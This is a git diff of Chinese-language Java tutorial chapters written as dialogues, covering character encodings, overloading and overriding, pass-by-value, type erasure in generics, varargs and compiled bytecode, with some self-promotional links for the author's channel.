进行解码的话,就是大名鼎鼎的“**锟斤拷**”。 + +可以通过代码来验证一下: + +```java +// 输出 efbfbdefbfbd +System.out.println(HexUtil.encodeHex("��", Charset.forName("UTF-8"))); +// 借助 hutool 转成二进制 +byte[] testBytes = HexUtil.decodeHex("efbfbdefbfbd"); +// 使用 GBK 解码 +String testResult = new String(testBytes, Charset.forName("GBK")); +// 输出锟斤拷 +System.out.println(testResult); +``` + +PPPS:hutool 的使用方法可以参照我的另外一篇[文章](https://mp.weixin.qq.com/s/hso-Hm5NuFStMu3m0iz_0w)。 + +所以,以后再见到**锟斤拷**,第一时间想到 UTF-8 和 GBK 的转换问题准没错。 + +UTF-16 使用 2 个或者 4 个字节来存储字符。 + +- 对于 Unicode 编号范围在 0 ~ FFFF 之间的字符,UTF-16 使用两个字节存储。 + +- 对于 Unicode 编号范围在 10000 ~ 10FFFF 之间的字符,UTF-16 使用四个字节存储,具体来说就是:将字符编号的所有比特位分成两部分,较高的一些比特位用一个值介于 D800~DBFF 之间的双字节存储,较低的一些比特位(剩下的比特位)用一个值介于 DC00~DFFF 之间的双字节存储。 + +**3)char** + +搞清楚了 Unicode 之后,再回头来看 char 为什么是两个字节的问题,就很容易搞明白了。 + +在 Unicode 的设计之初,人们认为两个字节足以对世界上各种语言的所有字符进行编码,在 1991 年发布的 Unicode 1.0 中,仅用了 65536 个代码值中不到一半的部分。 + +所以,Java 决定采用 16 位的 Unicode 字符集([诞生于 90 年代](https://mp.weixin.qq.com/s/Ctouw652iC0qtrmjen9aEw))。也就是说,当时的 char 类型可以表示任意一个 Unicode 字符。 + +但是,不可避免的事情发生了,Unicode 收录的字符越来越多,超过了 65536 个(2 个字节的最大表示范围)。超过的部分怎么办呢?只能用两个 char 来表示了。 + +这个 `𐐷` 字符很特殊,Unicode 编码是 `U+10437`,它就无法使用一个 char 来表示,当你尝试用 char 来表示时,它会被 IDEA 转成 UTF-16 十六进制字符代码 `\uD801\uDC37`(与此同时,编译器会提醒你最好把它声明成 String 类型)。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/ten-08.png) + +也就是说,在 Java 中,char 会占用两个字节,超出 char 的承受范围('\u0000'(0)和 '\uffff'(65,535))的字符,都将无法表示。 + + + +“好了,三妹,关于 Unicode 就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。 \ No newline at end of file diff --git a/docs/basic-extra-meal/override-overload.md b/docs/basic-extra-meal/override-overload.md new file mode 100644 index 0000000000..8540335961 --- /dev/null +++ b/docs/basic-extra-meal/override-overload.md @@ -0,0 +1,305 @@ + + +### 01、开篇 + +入冬的夜,总是来得特别的早。我静静地站在阳台,目光所及之处,不过是若隐若现的钢筋混凝土,还有那毫无情调的灯光。 + +“哥,别站在那发呆了。今天学啥啊,七点半我就要回学校了,留给你的时间不多了,你要抓紧哦。”三妹傲娇的声音一下子把我从游离的状态拉回到了现实。 + +“今天要学习 Java 中的方法重载与方法重写。”我迅速地走到电脑前面,打开一份 Excel 文档,看了一下《教妹学 Java》的进度,然后对三妹说。 + +“如果一个类有多个名字相同但参数个数不同的方法,我们通常称这些方法为方法重载。 ”我面带着朴实无华的微笑继续说,“如果方法的功能是一样的,但参数不同,使用相同的名字可以提高程序的可读性。” + +“如果子类具有和父类一样的方法(参数相同、返回类型相同、方法名相同,但方法体可能不同),我们称之为方法重写。 方法重写用于提供父类已经声明的方法的特殊实现,是实现多态的基础条件。” + +“只不过,方法重载与方法重写在名字上很相似,就像是兄弟俩,导致初学者经常把它们俩搞混。” + +“方法重载的英文名叫 Overloading,方法重写的英文名叫 Overriding,因此,不仅中文名很相近,英文名之间也很相近,这就更容易让初学者搞混了。” + +“但两者其实是完全不同的!通过下面这张图,你就能看得一清二楚。” + +话音刚落,我就在 IDEA 中噼里啪啦地敲了起来。两段代码,分别是方法重写和方法重载。然后,把这两段代码截图到 draw.io(一个很漂亮的在线画图网站)上,加了一些文字说明。最后,打开 Photoscape X,把两张图片合并到了一起。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/21-01.png) + +### 02、方法重载 + +“三妹,你仔细听哦。”我缓了一口气后继续说道。 + +“在 Java 中,有两种方式可以达到方法重载的目的。” + +“第一,改变参数的数目。来看下面这段代码。” + +```java +public class OverloadingByParamNum { + public static void main(String[] args) { + System.out.println(Adder.add(10, 19)); + System.out.println(Adder.add(10, 19, 20)); + } +} + +class Adder { + static int add(int a, int b) { + return a + b; + } + + static int add(int a, int b, int c) { + return a + b + c; + } +} +``` + +“Adder 类有两个方法,第一个 `add()` 方法有两个参数,在调用的时候可以传递两个参数;第二个 `add()` 方法有三个参数,在调用的时候可以传递三个参数。” + +“二哥,这样的代码不会显得啰嗦吗?如果有四个参数的时候就再追加一个方法?”三妹突然提了一个很尖锐的问题。 + +“那倒是,这个例子只是为了说明方法重载的一种类型。如果参数类型相同的话,Java 提供了可变参数的方式,就像下面这样。” + +```java +static int add(int ... args) { + int sum = 0; + for ( int a: args) { + sum += a; + } + return sum; +} +``` + +“第二,通过改变参数类型,也可以达到方法重载的目的。来看下面这段代码。” + +```java +public class OverloadingByParamType { + public static void main(String[] args) { + System.out.println(Adder.add(10, 19)); + System.out.println(Adder.add(10.1, 19.2)); + } +} + +class Adder { + static int add(int a, int b) { + return a + b; + } + + static double add(double a, double b) { + return a + b; + } +} +``` + +“Adder 类有两个方法,第一个 `add()` 方法的参数类型为 int,第二个 `add()` 方法的参数类型为 double。” + +“二哥,改变参数的数目和类型都可以实现方法重载,为什么改变方法的返回值类型就不可以呢?”三妹很能抓住问题的重点嘛。 + +“因为仅仅改变返回值类型的话,会把编译器搞懵逼的。”我略带调皮的口吻回答她。 + +“编译时报错优于运行时报错,所以当两个方法的名字相同,参数个数和类型也相同的时候,虽然返回值类型不同,但依然会提示方法已经被定义的错误。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/21-02.png) + +“你想啊,三妹。我们在调用一个方法的时候,可以指定返回值类型,也可以不指定。当不指定的时候,直接指定 `add(1, 2)` 的时候,编译器就不知道该调用返回 int 的 `add()` 方法还是返回 double 的 `add()` 方法,产生了歧义。” + +“方法的返回值只是作为方法运行后的一个状态,它是保持方法的调用者和被调用者进行通信的一个纽带,但并不能作为某个方法的‘标识’。” + +“二哥,我想到了一个点,`main()` 方法可以重载吗?” + +“三妹,这是个好问题啊!答案是肯定的,毕竟 `main()` 方法也是个方法,只不过,Java 虚拟机在运行的时候只会调用带有 String 数组的那个 `main()` 方法。” + +```java +public class OverloadingMain { + public static void main(String[] args) { + System.out.println("String[] args"); + } + + public static void main(String args) { + System.out.println("String args"); + } + + public static void main() { + System.out.println("无参"); + } +} +``` + +“第一个 `main()` 方法的参数形式为 `String[] args`,是最标准的写法;第二个 `main()` 方法的参数形式为 `String args`,少了中括号;第三个 `main()` 方法没有参数。” + +“来看一下程序的输出结果。” + +``` +String[] args +``` + +“从结果中,我们可以看得出,尽管 `main()` 方法可以重载,但程序只认标准写法。” + +“由于可以通过改变参数类型的方式实现方法重载,那么当传递的参数没有找到匹配的方法时,就会发生隐式的类型转换。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/21-03.png) + +“如上图所示,byte 可以向上转换为 short、int、long、float 和 double,short 可以向上转换为 int、long、float 和 double,char 可以向上转换为 int、long、float 和 double,依次类推。” + +“三妹,来看下面这个示例。” + +```java +public class OverloadingTypePromotion { + void sum(int a, long b) { + System.out.println(a + b); + } + + void sum(int a, int b, int c) { + System.out.println(a + b + c); + } + + public static void main(String args[]) { + OverloadingTypePromotion obj = new OverloadingTypePromotion(); + obj.sum(20, 20); + obj.sum(20, 20, 20); + } +} +``` + +“执行 `obj.sum(20, 20)` 的时候,发现没有 `sum(int a, int b)` 的方法,所以此时第二个 20 向上转型为 long,所以调用的是 `sum(int a, long b)` 的方法。” + +“再来看一个示例。” + +```java +public class OverloadingTypePromotion1 { + void sum(int a, int b) { + System.out.println("int"); + } + + void sum(long a, long b) { + System.out.println("long"); + } + + public static void main(String args[]) { + OverloadingTypePromotion1 obj = new OverloadingTypePromotion1(); + obj.sum(20, 20); + } +} +``` + +“执行 `obj.sum(20, 20)` 的时候,发现有 `sum(int a, int b)` 的方法,所以就不会向上转型为 long,调用 `sum(long a, long b)`。” + +“来看一下程序的输出结果。” + +``` +int +``` + +“继续来看示例。” + +```java +public class OverloadingTypePromotion2 { + void sum(long a, int b) { + System.out.println("long int"); + } + + void sum(int a, long b) { + System.out.println("int long"); + } + + public static void main(String args[]) { + OverloadingTypePromotion2 obj = new OverloadingTypePromotion2(); + obj.sum(20, 20); + } +} +``` + +“二哥,我又想到一个问题。当有两个方法 `sum(long a, int b)` 和 `sum(int a, long b)`,参数个数相同,参数类型相同,只不过位置不同的时候,会发生什么呢?” + +“当通过 `obj.sum(20, 20)` 来调用 sum 方法的时候,编译器会提示错误。” +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/21-04.png) + +“不明确,编译器会很为难,究竟是把第一个 20 从 int 转成 long 呢,还是把第二个 20 从 int 转成 long,智障了!所以,不能写这样让编译器左右为难的代码。” + +### 03、方法重写 + +“三妹,累吗?我们稍微休息一下吧。”我把眼镜摘下来,放到桌子上,闭上了眼睛,开始胡思乱想起来。 + +2000 年,周杰伦横空出世,让青黄不接的唱片行业为之一振,由此开启了新一代天王争霸的黄金时代。2020 年,杰伦胖了,也贪玩了,一年出一张单曲都变得可遇不可求。 + +20 年前,程序员很稀有;20 年后,程序员内卷了。时间永远不会停下脚步,明年会不会好起来呢? + +“哥,醒醒,你就说休息一会,没说睡着啊。赶紧,我还有半个小时就要走了。” + +我戴上眼镜,对三妹继续说道:“在 Java 中,方法重写需要满足以下三个规则。” + +- 重写的方法必须和父类中的方法有着相同的名字; +- 重写的方法必须和父类中的方法有着相同的参数; +- 必须是 is-a 的关系(继承关系)。 + +“来看下面这段代码。” + +```java +public class Bike extends Vehicle { + public static void main(String[] args) { + Bike bike = new Bike(); + bike.run(); + } +} + +class Vehicle { + void run() { + System.out.println("车辆在跑"); + } +} +``` + +“来看一下程序的输出结果。” + +``` +车辆在跑 +``` + +“Bike is-a Vehicle,自行车是一种车,没错。Vehicle 类有一个 `run()` 的方法,也就是说车辆可以跑,Bike 继承了 Vehicle,也可以跑。但如果 Bike 没有重写 `run()` 方法的话,自行车就只能是‘车辆在跑’,而不是‘自行车在跑’,对吧?” + +“如果有了方法重写,一切就好办了。” + +```java +public class Bike extends Vehicle { + @Override + void run() { + System.out.println("自行车在跑"); + } + + public static void main(String[] args) { + Bike bike = new Bike(); + bike.run(); + } +} + +class Vehicle { + void run() { + System.out.println("车辆在跑"); + } +} +``` + +我把鼠标移动到 Bike 类的 `run()` 方法,对三妹说:“你看,在方法重写的时候,IDEA 会建议使用 `@Override` 注解,显式的表示这是一个重写后的方法,尽管可以缺省。” + +“来看一下程序的输出结果。” + +``` +自行车在跑 +``` + +“Bike 重写了 `run()` 方法,也就意味着,Bike 可以跑出自己的风格。” + +### 04、总结 + +“好了,三妹,我来简单做个总结。”我瞥了一眼电脑右上角的时钟,离三妹离开的时间不到 10 分钟了。 + +“首先来说一下方法重载时的注意事项,‘两同一不同’。” + +“‘两同’:在同一个类,方法名相同。” + +“‘一不同’:参数不同。” + +“再来说一下方法重写时的注意事项,‘两同一小一大’。” + +“‘两同’:方法名相同,参数相同。” + +“‘一小’:子类方法声明的异常类型要比父类小一些或者相等。” + +“‘一大’:子类方法的访问权限应该比父类的更大或者相等。” + +“记住了吧?三妹。带上口罩,拿好手机,咱准备出门吧。”今天限号,没法开车送三妹去学校了。 \ No newline at end of file diff --git a/docs/basic-extra-meal/pass-by-value.md b/docs/basic-extra-meal/pass-by-value.md new file mode 100644 index 0000000000..35c0628a60 --- /dev/null +++ b/docs/basic-extra-meal/pass-by-value.md @@ -0,0 +1,135 @@ + + +“哥,说说 Java 到底是值传递还是引用传递吧?”三妹一脸的困惑,看得出来她被这个问题折磨得不轻。 + +“说实在的,我在一开始学 Java 的时候也被这个问题折磨得够呛,总以为基本数据类型在传参的时候是值传递,而引用类型是引用传递。”我对三妹袒露了心声,为的就是让她不再那么焦虑,她哥当年也是这么过来的。 + + C 语言是很多编程语言的母胎,包括 Java,那么对于 C 语言来说,所有的方法参数都是“通过值”传递的,也就是说,传递给被调用方法的参数值存放在临时变量中,而不是存放在原来的变量中。这就意味着,被调用的方法不能修改调用方法中变量的值,而只能修改其私有变量的临时副本的值。 + +Java 继承了 C 语言这一特性,因此 Java 是按照值来传递的。 + +接下来,我们必须得搞清楚,到底什么是值传递(pass by value),什么是引用传递(pass by reference),否则,讨论 Java 到底是值传递还是引用传递就显得毫无意义。 + +当一个参数按照值的方式在两个方法之间传递时,调用者和被调用者其实是用的两个不同的变量——被调用者中的变量(原始值)是调用者中变量的一份拷贝,对它们当中的任何一个变量修改都不会影响到另外一个变量,据说 Fortran 语言是通过引用传递的。 + +“Fortran 语言?”三妹睁大了双眼,似乎听见了什么新的名词。 + +“是的,Fortran 语言,1957 年由 IBM 公司开发,是世界上第一个被正式采用并流传至今的高级编程语言。” + +当一个参数按照引用传递的方式在两个方法之间传递时,调用者和被调用者其实用的是同一个变量,当该变量被修改时,双方都是可见的。 + +“我们之所以容易搞不清楚 Java 到底是值传递还是引用传递,主要是因为 Java 中的两类数据类型的叫法容易引发误会,比如说 int 是基本类型,说它是值传递的,我们就很容易理解;但对于引用类型,比如说 String,说它也是值传递的时候,我们就容易弄不明白。” + +我们来看看基本数据类型和引用数据类型之间的差别。 + +```java +int age = 18; +String name = "二哥"; +``` + +age 是基本类型,值就保存在变量中,而 name 是引用类型,变量中保存的是对象的地址。一般称这种变量为对象的引用,引用存放在栈中,而对象存放在堆中。 + +这里说的栈和堆,是指内存中的一块区域,和数据结构中的栈和堆不一样。栈是由编译器自动分配释放的,所以适合存放编译期就确定生命周期的数据;而堆中存放的数据,编译器是不需要知道生命周期的,创建后的回收工作由垃圾收集器来完成。 + +“画幅图。” + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/pass-by-value-01.png) + +当用 = 赋值运算符改变 age 和 name 的值时。 + +```java +age = 16; +name = "三妹"; +``` + +对于基本类型 age,赋值运算符会直接改变变量的值,原来的值被覆盖。 + +对于引用类型 name,赋值运算符会改变对象引用中保存的地址,原来的地址被覆盖,但原来的对象不会被覆盖。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/pass-by-value-02.png) + +“三妹,注意听,接下来,我们来说说基本数据类型的参数传递。” + +Java 有 8 种基本数据类型,分别是 int、long、byte、short、float、double 、char 和 boolean,就拿 int 类型来举例吧。 + +```java +class PrimitiveTypeDemo { + public static void main(String[] args) { + int age = 18; + modify(age); + System.out.println(age); + } + + private static void modify(int age1) { + age1 = 30; + } +} +``` + +1)`main()` 方法中的 age 为基本类型,所以它的值 18 直接存储在变量中。 + +2)调用 `modify()` 方法的时候,将会把 age 的值 18 复制给形参 age1。 + +3)`modify()` 方法中,对 age1 做出了修改。 + +4)回到 `main()` 方法中,age 的值仍然为 18,并没有发生改变。 + +如果我们想让 age 的值发生改变,就需要这样做。 + +```java +class PrimitiveTypeDemo1 { + public static void main(String[] args) { + int age = 18; + age = modify(age); + System.out.println(age); + } + + private static int modify(int age1) { + age1 = 30; + return age1; + } +} +``` + +第一,让 `modify()` 方法有返回值; + +第二,使用赋值运算符重新对 age 进行赋值。 + +“好了,再来说说引用类型的参数传递。” + +就以 String 为例吧。 + +```java +class ReferenceTypeDemo { + public static void main(String[] args) { + String name = "二哥"; + modify(name); + System.out.println(name); + } + + private static void modify(String name1) { + name1 = "三妹"; + } +} +``` + +在调用 `modify()` 方法的时候,形参 name1 复制了 name 的地址,指向的是堆中“二哥”的位置。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/pass-by-value-03.png) + +当 `modify()` 方法调用结束后,改变了形参 name1 的地址,但 `main()` 方法中 name 并没有发生改变。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/core-points/pass-by-value-04.png) + +总结: + +- Java 中的参数传递是按值传递的。 +- 如果参数是基本类型,传递的是基本类型的字面量值的拷贝。 +- 如果参数是引用类型,传递的是引用的对象在堆中地址的拷贝。 + +“好了,三妹,今天的学习就到这吧。” + + + + + diff --git a/docs/src/basic-extra-meal/true-generic.md b/docs/basic-extra-meal/true-generic.md similarity index 77% rename from docs/src/basic-extra-meal/true-generic.md rename to docs/basic-extra-meal/true-generic.md index 0b3356dd3a..6c3efb9cb5 100644 --- a/docs/src/basic-extra-meal/true-generic.md +++ b/docs/basic-extra-meal/true-generic.md @@ -1,22 +1,8 @@ ---- -title: Java 为什么无法实现真正的泛型? -shortTitle: Java为什么无法实现真正的泛型 -category: - - Java核心 -tag: - - Java重要知识点 -description: Java 无法实现真正泛型的原因在于类型擦除,这种设计是为了兼容早期 Java 版本。本文详细探讨 Java 泛型的实现机制、类型擦除背后的原理,以及 Java 泛型在编程中的局限性。 -author: 沉默王二 -head: - - - meta - - name: keywords - content: Java, 泛型, 类型擦除 ---- - - -“二哥,为啥 Java 不能实现真正的泛型啊?”三妹开门见山地问。 - -简单来回顾一下[类型擦除](https://javabetter.cn/basic-extra-meal/generic.html),看下面这段代码。 + + +“二哥,为啥 Java 不能实现真正泛型啊?”三妹开门见山地问。 + +简单来回顾一下类型擦除,看下面这段代码。 ```java public class Cmower { @@ -36,9 +22,7 @@ public class Cmower { 但由于类型擦除的原因,以上代码是不会编译通过的——编译器会提示一个错误: -``` >'method(ArrayList)' clashes with 'method(ArrayList)'; both methods have same erasure -``` 也就是说,两个 `method()` 方法经过类型擦除后的方法签名是完全相同的,Java 是不允许这样做的。 @@ -58,7 +42,8 @@ public class Cmower { “保持耐心,好不好?”我安慰道。 -**第一,兼容性** + +第一,兼容性 Java 在 2004 年已经积累了较为丰富的生态,如果把现有的类修改为泛型类,需要让所有的用户重新修改源代码并且编译,这就会导致 Java 1.4 之前打下的江山可能会完全覆灭。 @@ -68,9 +53,9 @@ Java 在 2004 年已经积累了较为丰富的生态,如果把现有的类修 老用户不受影响,新用户可以自由地选择使用泛型,可谓一举两得。 -**第二,不是“实现不了”**。Pizza,1996 年的实验语言,在 Java 的基础上扩展了泛型。 +第二,不是“实现不了”。Pizza,1996 年的实验语言,在 Java 的基础上扩展了泛型。 ->Pizza 教程地址:[http://pizzacompiler.sourceforge.net/doc/tutorial.html](http://pizzacompiler.sourceforge.net/doc/tutorial.html) +>Pizza 教程地址:http://pizzacompiler.sourceforge.net/doc/tutorial.html “1996 年?”三妹表示很吃惊。 @@ -120,7 +105,7 @@ String s = a.get(); 对吧?这就是我们想要的“真正意义上的泛型”,A 不仅仅可以是引用类型 String,还可以是基本数据类型。要知道,Java 的泛型不允许是基本数据类型,只能是包装器类型。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/generic/true-generic-01.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/generic/true-generic-01.png) 除此之外,Pizza 的泛型还可以直接使用 `new` 关键字进行声明,并且 Pizza 编译器会从构造方法的参数上推断出具体的对象类型,究竟是 String 还是 int。要知道,Java 的泛型因为类型擦除的原因,程序员是无法知道一个 ArrayList 究竟是 `ArrayList` 还是 `ArrayList` 的。 @@ -187,11 +172,11 @@ Java 语言和其他编程语言不一样,有着沉重的历史包袱,1.5 Java 一直以来都强调兼容性,我认为这也是 Java 之所以能被广泛使用的主要原因之一,开发者不必担心 Java 版本升级的问题,一个在 JDK 1.4 上可以跑的代码,放在 JDK 1.5 上仍然可以跑。 -这里必须得说明一点,J2SE1.5 的发布,是 Java 语言发展史上的重要里程碑,为了表示该版本的重要性,J2SE1.5 也正式更名为 Java SE 5.0,往后去就是 Java SE 6.0,Java SE 7.0。。。。 +*这里必须得说明一点,J2SE1.5 的发布,是 Java 语言发展史上的重要里程碑,为了表示该版本的重要性,J2SE1.5 也正式更名为 Java SE 5.0,往后去就是 Java SE 6.0,Java SE 7.0。。。。* 但 Java 并不支持高版本 JDK 编译生成的字节码文件在低版本的 JRE(Java 运行时环境)上跑。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/generic/true-generic-02.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/generic/true-generic-02.png) 针对泛型,兼容性具体表现在什么地方呢?来看下面这段代码。 @@ -220,12 +205,12 @@ Java 神奇就神奇在这,表面上万物皆对象,但为了性能上的考 一个好消息是 Valhalla 项目正在努力解决这些因为泛型擦除带来的历史遗留问题。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/generic/true-generic-03.png) +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/generic/true-generic-03.png) Project Valhalla:正在进行当中的 OpenJDK 项目,计划给未来的 Java 添加改进的泛型支持。 ->源码地址:[http://openjdk.java.net/projects/valhalla/](http://openjdk.java.net/projects/valhalla/) +>源码地址:http://openjdk.java.net/projects/valhalla/ 让我们拭目以待吧! @@ -233,11 +218,8 @@ Project Valhalla:正在进行当中的 OpenJDK 项目,计划给未来的 Jav “嗯嗯。二哥,你讲得可真棒👍”三妹夸奖得我有点小开心,嘿嘿。 ---- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - +----- -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 +《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享! -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file +图片没显示的话,可以微信搜索「沉默王二」关注 \ No newline at end of file diff --git a/docs/basic-extra-meal/varables.md b/docs/basic-extra-meal/varables.md new file mode 100644 index 0000000000..23d3894399 --- /dev/null +++ b/docs/basic-extra-meal/varables.md @@ -0,0 +1,140 @@ + + +为了让铁粉们能白票到阿里云的服务器,老王当了整整两天的客服,真正体验到了什么叫做“为人民群众谋福利”的不易和辛酸。正在他眼睛红肿打算要休息之际,小二跑过来问他:“Java 的可变参数究竟是怎么一回事?”老王一下子又清醒了,他爱 Java,他爱传道解惑,他爱这群尊敬他的读者。 + +*PS:star 这种事,只能求,不求没效果,铁子们,《Java 程序员进阶之路》在 GitHub 上已经收获了 514 枚星标,铁子们赶紧去点点了,冲 600 star*! + +>https://github.com/itwanger/toBeBetterJavaer + +可变参数是 Java 1.5 的时候引入的功能,它允许方法使用任意多个、类型相同(`is-a`)的值作为参数。就像下面这样。 + +```java +public static void main(String[] args) { + print("沉"); + print("沉", "默"); + print("沉", "默", "王"); + print("沉", "默", "王", "二"); +} + +public static void print(String... strs) { + for (String s : strs) + System.out.print(s); + System.out.println(); +} +``` + +静态方法 `print()` 就使用了可变参数,所以 `print("沉")` 可以,`print("沉", "默")` 也可以,甚至 3 个、 4 个或者更多个字符串都可以作为参数传递给 `print()` 方法。 + +说到可变参数,我想起来阿里巴巴开发手册上有这样一条规约。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/basic-extra-meal/varables-01.png) + +意思就是尽量不要使用可变参数,如果要用的话,可变参数必须要在参数列表的最后一位。既然坑位有限,只能在最后,那么可变参数就只能有一个(悠着点,悠着点)。如果可变参数不在最后一位,IDE 就会提示对应的错误,如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/basic-extra-meal/varables-02.png) + + + + +可变参数看起来就像是个语法糖,它背后究竟隐藏了什么呢?老王想要一探究竟,它在追求真理这条路上一直很执着。 + +其实也很简单。**当使用可变参数的时候,实际上是先创建了一个数组,该数组的大小就是可变参数的个数,然后将参数放入数组当中,再将数组传递给被调用的方法**。 + +这就是为什么可以使用数组作为参数来调用带有可变参数的方法的根本原因。代码如下所示。 + +```java +public static void main(String[] args) { + print(new String[]{"沉"}); + print(new String[]{"沉", "默"}); + print(new String[]{"沉", "默", "王"}); + print(new String[]{"沉", "默", "王", "二"}); +} + +public static void print(String... strs) { + for (String s : strs) + System.out.print(s); + System.out.println(); +} +``` + +那如果方法的参数是一个数组,然后像使用可变参数那样去调用方法的时候,能行得通吗? + +*留个思考题,大家也可以去试一试* + + + +那一般什么时候使用可变参数呢? + +可变参数,可变参数,顾名思义,当一个方法需要处理任意多个相同类型的对象时,就可以定义可变参数。Java 中有一个很好的例子,就是 String 类的 `format()` 方法,就像下面这样。 + +```java +System.out.println(String.format("年纪是: %d", 18)); +System.out.println(String.format("年纪是: %d 名字是: %s", 18, "沉默王二")); +``` + +`%d` 表示将整数格式化为 10 进制整数,`%s` 表示输出字符串。 + +如果不使用可变参数,那需要格式化的参数就必须使用“+”号操作符拼接起来了。麻烦也就惹上身了。 + +在实际的项目代码中,开源包 slf4j.jar 的日志输出就经常要用到可变参数(log4j 就没法使用可变参数,日志中需要记录多个参数时就痛苦不堪了)。就像下面这样。 + +```java +protected Logger logger = LoggerFactory.getLogger(getClass()); +logger.debug("名字是{}", mem.getName()); +logger.debug("名字是{},年纪是{}", mem.getName(), mem.getAge()); +``` + +查看源码就可以发现,`debug()` 方法使用了可变参数。 + +```java +public void debug(String format, Object... arguments); +``` + +那在使用可变参数的时候有什么注意事项吗? + +有的。我们要避免重载带有可变参数的方法——这样很容易让编译器陷入自我怀疑中。 + +```java +public static void main(String[] args) { + print(null); +} + +public static void print(String... strs) { + for (String a : strs) + System.out.print(a); + System.out.println(); +} + +public static void print(Integer... ints) { + for (Integer i : ints) + System.out.print(i); + System.out.println(); +} +``` + +这时候,编译器完全不知道该调用哪个 `print()` 方法,`print(String... strs)` 还是 `print(Integer... ints)`,傻傻分不清。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/basic-extra-meal/varables-03.png) + + +假如真的需要重载带有可变参数的方法,就必须在调用方法的时候给出明确的指示,不要让编译器去猜。 + +```java +public static void main(String[] args) { + String [] strs = null; + print(strs); + + Integer [] ints = null; + print(ints); +} + +public static void print(String... strs) { +} + +public static void print(Integer... ints) { +} +``` + +上面这段代码是可以编译通过的。因为编译器知道参数是 String 类型还是 Integer 类型,只不过为了运行时不抛出 `NullPointerException`,两个 `print()` 方法的内部要做好判空操作。 + + diff --git a/docs/basic-extra-meal/what-happen-when-javac.md b/docs/basic-extra-meal/what-happen-when-javac.md new file mode 100644 index 0000000000..5fa75f059b --- /dev/null +++ b/docs/basic-extra-meal/what-happen-when-javac.md @@ -0,0 +1,125 @@ + + +“二哥,看了上一篇 [Hello World](https://mp.weixin.qq.com/s/191I_2CVOxVuyfLVtb4jhg) 的程序后,我很好奇,它是怎么在 Run 面板里打印出‘三妹,少看手机少打游戏,好好学,美美哒’呢?”三妹咪了一口麦香可可奶茶后对我说。 + +“三妹,我们通常把 Java 分为编译期和运行时,弄清楚这两个阶段就知道原因了。由于运行时涉及到的内容比较多,这篇文章我们先来说说编译期,等学习了 Java 虚拟机的一些知识后再说道说道运行时。” + +贴一下 HelloWorld 这段代码: + +```java +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class HelloWorld { + public static void main(String[] args) { + System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); + } +} +``` + +点击 IDEA 工具栏中的锤子按钮(Build Project,编译整个项目),如下图所示。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-01.png) + + +这时候,就可以在 src 的同级目录 target 下找到一个名为 HelloWorld.class 的文件。 + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-02.png) + + +如果找不到的话,在目录上右键选择「Reload from Disk,从磁盘上重新加载」,如下图所示: + +![](https://cdn.jsdelivr.net/gh/itwanger/toBeBetterJavaer/images/overview/five-03.png) + + +可以双击打开它。 + +```java +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +package com.itwanger.five; + +public class HelloWorld { + public HelloWorld() { + } + + public static void main(String[] args) { + System.out.println("三妹,少看手机少打游戏,好好学,美美哒。"); + } +} +``` + +IDEA 默认会用 Fernflower 反编译工具将字节码文件(后缀为 .class 的文件,也就是 Java 源代码编译后的文件)反编译为我们可以看得懂的 Java 源代码。但实际上,字节码文件并不是这样的,而是: + +``` +// class version 58.0 (58) +// access flags 0x21 +public class com/itwanger/five/HelloWorld { + + // compiled from: HelloWorld.java + + // access flags 0x1 + public ()V + L0 + LINENUMBER 6 L0 + ALOAD 0 + INVOKESPECIAL java/lang/Object. ()V + RETURN + L1 + LOCALVARIABLE this Lcom/itwanger/five/HelloWorld; L0 L1 0 + MAXSTACK = 1 + MAXLOCALS = 1 + + // access flags 0x9 + public static main([Ljava/lang/String;)V + L0 + LINENUMBER 8 L0 + GETSTATIC java/lang/System.out : Ljava/io/PrintStream; + LDC "\u4e09\u59b9\uff0c\u5c11\u770b\u624b\u673a\u5c11\u6253\u6e38\u620f\uff0c\u597d\u597d\u5b66\uff0c\u7f8e\u7f8e\u54d2\u3002" + INVOKEVIRTUAL java/io/PrintStream.println (Ljava/lang/String;)V + L1 + LINENUMBER 9 L1 + RETURN + L2 + LOCALVARIABLE args [Ljava/lang/String; L0 L2 0 + MAXSTACK = 2 + 